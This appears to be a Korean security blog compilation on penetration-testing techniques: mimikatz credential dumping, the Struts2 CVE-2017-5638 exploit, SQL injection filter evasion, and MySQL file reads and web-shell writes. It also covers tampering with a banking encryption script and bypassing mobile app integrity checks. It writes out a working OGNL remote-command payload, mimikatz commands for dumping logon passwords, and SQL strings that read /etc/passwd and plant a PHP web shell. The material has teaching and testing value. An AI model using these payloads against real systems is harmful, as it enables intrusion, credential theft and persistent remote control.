일반적으로 윈도우 해킹 시 계정정보를 알아오기 위해 많이 사용하는 mimikatz 툴은 원래 윈도우10에서 실행이 불가했지만 2018년 2월에 업데이트되어 이용이 가능하다!

기존의 mimikatz를 윈도우10에서 실행시키면 "액세스가 거부되었습니다"라고 다음과 같이 뜬다.



하지만 업데이트된 mimikatz는 가능하다는거!!

↓ ↓ ↓ ↓ ↓ ↓ ↓ 아래의 주소에서 다운로드 가능! ↓ ↓ ↓ ↓ ↓

사용방법은 기존의 툴과 완전히 동일하지만 모르는 사람을 위해 설명한다.

  1. 명령 프롬프트를 관리자 권한으로 실행
  2. mimikatz 툴이 있는 경로로 이동


  1. mimikatz.exe 실행 
            → 프롬프트가 mimikatz#으로 변경됨


  1. 다음 명령어 차례대로 실행

            privilege::debug
            sekurlsa::logonpasswords

  1. 마지막 명령어 실행 시 정보 추출
            ** 개인정보보호를 위해 모자이크 처리한당...




1. Introduction

1.1. Apache Struts2 란?

- 자바로 웹 어플리케이션을 개발할 수 있는 무료 오픈소스 프레임워크
- 플러그인 지원

1.2. Apache Struts2 취약점이란?

- Struts REST 플러그인을 사용해 XML 페이로드를 처리할 시 HTTP Request Header의 Content-Type을 변조하여 원격코드 실행이 가능한 취약점
        → REST 플러그인 : XStream Handler 유형 필터링 없이 직렬화를 위해 XStream의 인스턴스와 함께 사용
                                        * 참조: https://blog.naver.com/azure0777/221066646741
- REST 통신 과정에서 데이터가 체크 후에 deserialize 되어야 하는데 체크 과정없이 사용되서 발생
- XStream 인스턴스를 이용하여 XML 역질렬화 시 검증이 존재하지 않는 XStreamhandler를 사용해서 발생
        * 직렬화(serialization) : 객체를 직렬화하여 전송가능한 형태로 만드는 것 의미 (객체데이터 -> 연속적인 스트림 데이터로 변형)
        * 역직렬화(deserialization) : 직렬화된 스트림 데이터를 다시 객체화하는 것 의미



1.3. OGNL 표현식이란?

- Object Graph Navigation Language의 줄임말
- 스트럿츠2는 액션이 실행될 때마다 그 액션을 스택 메모리에 저장하여 "밸류 스택"을 만드는데, 밸류 스택의 정보들을 가져오는 태그로서 OGNL을 사용
- 태그 라이브러리를 통해 정보를 저장하고 출력하고 넘기고 가져오고 하는 등의 관계를 표현하는 표현식
(예시)
<s:textfield table="아이디" name="userID" value="%{userID}"/>



2. Apache Struts2 (아파치 스트럿츠 2) 취약점

2.1. 공격 가능 버전

- Apache Struts 2.1.2 ~ 2.3.33
- Apache Struts 2.5 ~ 2.5.12

2.2. 공격 과정

  1. 이전 포스팅의 Struts2 환경 설정 완료 http://securitynote.tistory.com/26?category=789888
  2. 메인 페이지 접속 후 프록시 툴을 이용하여 공격 구문 삽입(OGNL표현식)
            - 중간의 #cmd='whoami'의 whoami부분은 원하는 명령어로 변경해도 무관하다.

Content-Type: %{(#kjy='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}


  1. 공격 성공 확인 (응답값에 입력한 명령어의 결과가 출력됨)


  1. 개발된 툴을 이용하여  쉽게 파일을 업로드하거나 다른 명령어도 수행 가능하다.





2.3. 대응 방안

- 취약점에 영향을 받지 않는 버전으로 업데이트
- 사용하지 않는 Struts REST 플러그인 삭제 
- 서버 페이지 및 JSON만 사용하도록 허용
- OGNL 표현식 사용 금지
- 서버 확장자 제한 및 XML 지원 삭제

1. 기본 환경 설정

  1. VMware에 윈도우 7을 설치한다.
  2. JDK 설치 (Java SE 8u161)
  1. Tomcat 7.0 설치 
  1. Eclipse 설치(J2EE 개발용)
  2. Struts2 다운로드
                → 실제 환경에서는 최신 버전을 설치하는 것이 안전하지만 취약점 테스트용이므로 취약한 버전 다운로드
                → Apache Struts 2.1.2 ~ 2.3.33 / Apache Struts 2.5 ~ 2.5.12
                * 여기서는 Apache Struts 2.3.31으로 테스트 진행

        ※ 각각의 개별 환경 설정에 대해서는 다루지 않음


2. Struts2 설정

 이제, 실제로 아파치 스트럿츠2 공격을 해 볼 환경을 구축할 것이다. 

  1.  이클립스(Eclipse)를 켜고 [Windows] - [Preferences] 


  1. [Server] - [Runtime Environmnet] - [Add] 


  1. 다운로드 받은 톰캣 버전(v7.0) 선택 후 [Next] 


  1. [Browse] 후, 톰캣 다운로드 경로 선택 - [Finish]

  1. [File] - [Import] 

    6.  [Web] - [WAR file] - [Next] 


  1. [Browse] 후, 다운로드 받은 쇼케이스 War 파일 선택

  1. 생성된 프로젝트 오른 클릭 후, [Run As] - [Run On Server]


  1. 접속 가능 확인




'Hacking > Server' 카테고리의 다른 글

[취약점] Apache Struts2 취약점(CVE-2017-5638)  (1) 2018.03.15

일반적으로 알려지지 않은  SQLi 우회 패턴이라 대부분의 방화벽 정책에 포함되어 있지 않은 방법이다. 

a를 0x61로 나타내는 hex표기법은 많이 알려져 있는 패턴이라 정책에 걸리는 경우가 많다.

하지만 같은 a를 binary(이진수)로 나타낸 0b01100001는 일반적으로 익숙하지 않은 표기법이다. 

mysql에서 select 0b0110001;을 입력하면 다음과 같이 a를 반환한다.


0b01100001이라는 수는 다음과 같은 방법으로 변환 가능하다.
(binary를 나타낼때는 ascii 값을 이진수로 변환하면됨)
알파벳
ascii
binary
a
97
0b01100001

이를 이용해서 원하는 쿼리를 삽입하는 것이 가능한데 
예를 들어, 경로를 표현하는 경우 c:\test.txt라는 파일경로를 삽입하고 싶은 경우, 
0b0110001100111010010111000111010001100101011110000111010000101110011101000111100001110100를 입력하면 된다.

** 변환시 https://www.binaryhexconverter.com/ascii-text-to-binary-converter를 사용하면 쉽게 변환이 가능하다!


참고 URL


개요

- MySQL에서 원격에서 루트 권한으로 코드를 실행하거나 원격 시스템 파일을 다운로드할 수 있는 취약점(CVE-2016-6662)
- MySQL 기본 설치로 사용하는 로깅 기능을 악용해 MySQL 설정 파일(my.cnf)에 악의적인 설정을 주입하여 원격 및 권한 상승(루트 권한) 공격이 가능한 취약점
- SQL Injection 취약점과 함께 사용할 경우 MySQL 서버를 손상시킬 수 있음
- DB서버가 재부팅되는 경우부터 적용

※ 취약한 버전


※ 공격 구문

  • Load_file() 함수 이용
    • select * from member  union select null, null, null, null, load_file('/etc/passwd');
    • select * from member  union select null, null, null, null, load_file(0x2f6574632f7061737764);
    • select * from member  union select null, null, null, null, load_file(char(47,101,116,99,47,112,97,115,115,119,100));

  • 웹쉘만들기
    • select * from member  union select null, null, null, null, "<? system($_REQUEST['cmd']); ?>" into outfile '/var/www/html/cmd.php';
                                -> mysql 사용자가 /var/www/html디렉터리에 접근권한이 없어 생성 불가

  • 설정파일 덮어쓰기(into outfile)
    • select * into outfile '/etc/my.cnf';



XecureWeb(제큐어웹) 개요

  • Xecureweb은 공인인증서 처리를 위한 프로그램이며, 공인인증서 사용 시 많은 금융권 회사들이 Xecureweb 솔루션을 도입해서 사용
  • PKI 기반의 암호와 전자서명 기능을 제공하는 웹 구간 암호화 솔루션
  • SEED, ARIA, AES 등 국내외 표준 암호화 알고리즘을 사용하여 보안 기술 표준을 준수하며, 주민번호, 민감정보 등에 대한 암호화, 공인인증, 서명 기능을 제공
  • 요청값과 응답값 암호화 가능
  • 요청값 암호화 시, 
    • DLL에서 암호화
    • Javascript로 암호화 (일반적으로, xecureweb.js 등 xecureweb이 들어간다.) 

암호화 솔루션이기 때문에  시스템 개발 시 제큐어웹을 사용하면, 전송 시 데이터 노출이 되지 않아 해킹 위협을 피할 수 있다고 생각하는 개발자들이 많은 것 같다... 
하지만 암호화 전의 값을 볼 수만 있다면 ?!

dll을 통해 적용하면 리버싱을 하는 등의 많은 작업을 요하지만,
xecureweb.js (보통 비슷한 이름)를 사용할 때, 스크립트 파일 변조를 통해 쉽게 암호화 전의 파라미터를 확인하고 변조할 수 있다!!


Xecureweb.js 파일 확인 및 변조

** 항상 같은 방법으로 js 파일이 코딩되어 있는 것이 아니므로, IE 개발자 도구의 디버깅 기능을 사용하여 언제 어디서 암호화가 이루어지는지 확인하는 과정이 필요하다.
** 아래 설명할 내용은 두 개의 다른 업체에서 동일하게(함수명도 동일) 적용되었던 것으로 보아, xecureweb 사용 시 기본으로 제공되는 파일일 것으로 추측된다.
** 해당 포스팅을 활용하여 악의적인 행위를 하였을 경우, 책임은 본인한테 있음을 경고합니다.
** 테스트로 진행한 해당 사이트에 대한 정보 노출을 최소하하기 위하여 많은 정보가 모자이크되어 있으니 양해 부탁드립니다..

1) 공인인증서를 사용하여 로그인 시도




2) 프록시 도구를 이용하여 파라미터 암호화 확인




3)  JS 파일 변조 * 파일을 변조하는 방법에는 정답이 없다...
        
        01 - 해당 페이지에서 [개발자도구]를 열어 xecureweb.js 파일을 찾는다.
        02 - 파일을 분석 및 디버깅하여 파라미터가 암호화되는 구간 및 함수를 찾아낸다.



        03 - 함수를 변조한다.
                    
                - 이 파일을 분석해 보면 XecureMakePlain이라는 함수를 통해 암호화 전의 파라미터를 처리하는 것을 확인할 수 있다.
                - 따라서, 함수가 plain_text 변수를 return하기 전에 해당값을 prompt를 통해 띄움으로써 평문 파라미터 확인이 가능하다.
                - 자바스크립트에서 경고창을 띄우는 방법은 여러가지(alert, confirm 등)가 있지만 prompt를 사용하는 이유는 수정도 가능하게 하기 위해서이다.
return plain_text; → plain_text=prompt("p", plain_text); return plain_text; 
                



        04 - 파라미터가 암호화되기 전 보여지는 지 확인하고, 항상 변조된 파일을 사용하기 위해 버프에 replace 규칙을 추가한다.







무결성이란?

: 정보보호 3요소 중 하나로 영어로 Integrity이며, 정보가 오직 허가된 사람에게만 개방되고 수정될 수 있음을 보장하는 것

  • 모바일 애플리케이션에서 의미하는 무결성은 애플리케이션의 개발자가 아닌 타인(악의적인 사용자)이 애플리케이션을 위/변조할 수 있느냐를 판단하는 기준
  • 일반적으로 금융앱을 제외하고는 무결성 체크로직을 구현하지 않지만 구현하는 경우에도 우회가 가능한 경우 존재
  • 무결성 로직이 미존재하면 정상 애플리케이션을 악의적인 목적으로 위/변조하여 유포 및 재설치를 통해 단말기 정보 및 단말기 내 중요정보 유출 가능


무결성 확인 
  1. 무결성 체크 로직 미존재

            * 무결성 체크 로직이 존재하지 않는 경우, 애플리케이션 명을 변경 후 재설치 시 정상적으로 실행되는 지 확인한다.

            1) 변경 전 애플리케이션 명 확인 - SIK-C1

            2) 애플리케이션 추출 후 디컴파일

                 자세한 내용은 이전 게시물 참조: http://securitynote.tistory.com/7?category=788948

            3) AndroidManifest.xml 파일 열기
                                

            4) intet-filter 태그 내에 android:label="@String/app-name" 옵션 변경

        
                    @String/app-name 부분을 변경하고자 하는 이름으로 바꾼다.



            5) 변조한 앱 재컴파일, 서명 후 설치 시 정상 실행 확인
            
                


            ★ 이렇게 간단한 조작을 통해 무결성 테스트를 진행한다. 이 때, 정상적으로 앱이 실행이 되지 않으면 무결성 체크 로직 우회를 시도한다.

→ 자세한 내용은 다음 포스팅에서...!!



아이폰(IOS) 취약점 점검 환경 구성

IOS 취약점 점검을 하려면 일단 몇가지 프로그램을 설치해야 한다. 

  1. 아이폰 탈옥
            일단, 대부분의 취약점 점검이 탈옥된 환경에서 진행되므로 아이폰을 탈옥해야한다. 

            - 탈옥 방법에 대해서는 IOS 버전에 따라 다르므로 확인 후 진행하도록 한다.
            - 나는 Pheonix툴을 사용해서 진행했는데 아직도 꾸준히 많이 사용하고 있는 툴인것 같다. 
            - 탈옥 후 전원을 끄면 탈옥이 풀리므로 주의한다.

            - 탈옥 후 기기에 cydia 앱이 깔리는데 이를 통해  3rd party app 다운로드 가능
           
            - cydia 가본 앱 설치
                      1)  cydia 소스 추가 : http://repo.biteyourapple.net
                      2) openssh 설치 : ssh 접근을 위해 필요
                      3) bigboss recommand tool 설치 (wget 등)
                      4) clutch 설치 : ipa 복호화 도구  -> 설치 후 권한 바꾸기
                      5) snoopit 설치 
                      6) Apple File Conduit "2" 설치 : ifunbox에서 jailbroken 확인 및 연결
                      7) cycript : 함수 변조
                      8) class-dump-z : 클래스 내 오브젝트 분석

  1. Itunes (아이튠즈) 최신 버전 다운로드

                → https://www.apple.com/kr/itunes/download/
           
  1. Ifunbox (아이펀박스) 최신 버전 다운로드

                → http://www.i-funbox.com/en_download.html

           


안드로이드 스튜디오(Android Studio)를 이용한 동적디버깅

1. 디버깅할 APP을 apktool로 디컴파일

2. 디컴파일한 폴더의 AndroidManifest.xml를 열고 <application> 태그 내에 android:debuggable="true" 옵션 추가 후 저장
ex) <application android:icon="@drawable/app_icon" android:debuggable="true" ...
** 일반적으로 앱스토어에서 다운받은 앱은 android:debuggalbe 속성이 존재하지 않거나 false로 처리되어있다.  
→ true인 경우, 앱스토어에 올릴 수 없음


3. 재컴파일 후 디바이스에 설치

4. 디버거 연결 대기 ON  :: 디바이스에서 설정 > 개발자 옵션 > USB 디버깅 ON > 디버깅할 앱 선택 > debuggable 옵션을 준 앱 선택 



6. 안드로이드 스튜디오에 설치한 뒤 재시작 :: File > Settings > Plugins > Install plugin from disk...


7. 안드로이드 스튜디오 실행 시 Open an existing Android Studio project를 클릭하여 디버깅할 앱의 smali 폴더를 지정하여 실행
* android studio를 켰을 때 좌측에 파일들이 보이지 않을 경우 상단의 Android라고 되어 있는 부분을 클릭하여 Project로 선택

8. Run > Edit Configurations > + > Remote 선택하여 나온 탭에서 Settings의 Port를 8700으로 변경 후 저장


9. [Help - Find Action] 클릭 후 monitor 검색 및 실행
* 만약 안켜질 경우 [SDK 설치 폴더 - tools - monitor.bat] 실행
ex) C:\Users\KJY\AppData\Local\Android\Sdk\tools 


10. 진단폰에서 디버깅할 APP 실행 시 디버거 대기 창이 뜨고 이 때 monitor에서 빨간색 디버깅모양이 뜨면 정상

11. 안드로이드 스튜디오 내에서 브레이크 포인트를 건 뒤 Shift+F9를 눌러 디버깅 



JEB2를 이용한 동적디버깅

    1. 위의 1~4과정 진행 혹은 dirtyC0w를 이용하여 디버깅 가능상태 만들기

    2. 디버깅할 앱의 패키지와 액티비티명 확인

    3. 현재 실행중인 애플리케이션 중에서 디버깅 플래그 값을 확일할 수 있게끔 명령어 실행

        adb shell am start -D -n [패키지 이름/액티비티]
                 
    -D : 디버깅 가능하도록 플래그 추가
                 -n : 네이티브 힙메모리 덤프



    4. JEB2에서 디버깅 시작 :: Debugger > Start (혹은 벌레모양 아이콘 클릭)


    5. 디버거에 디버깅할 앱 Attach
    ** 하단의 Suspend all threads 체크한다


    6. 필요한 곳에 break point를 설정하여 디버깅 진행 (Ctrl+b)


    + Recent posts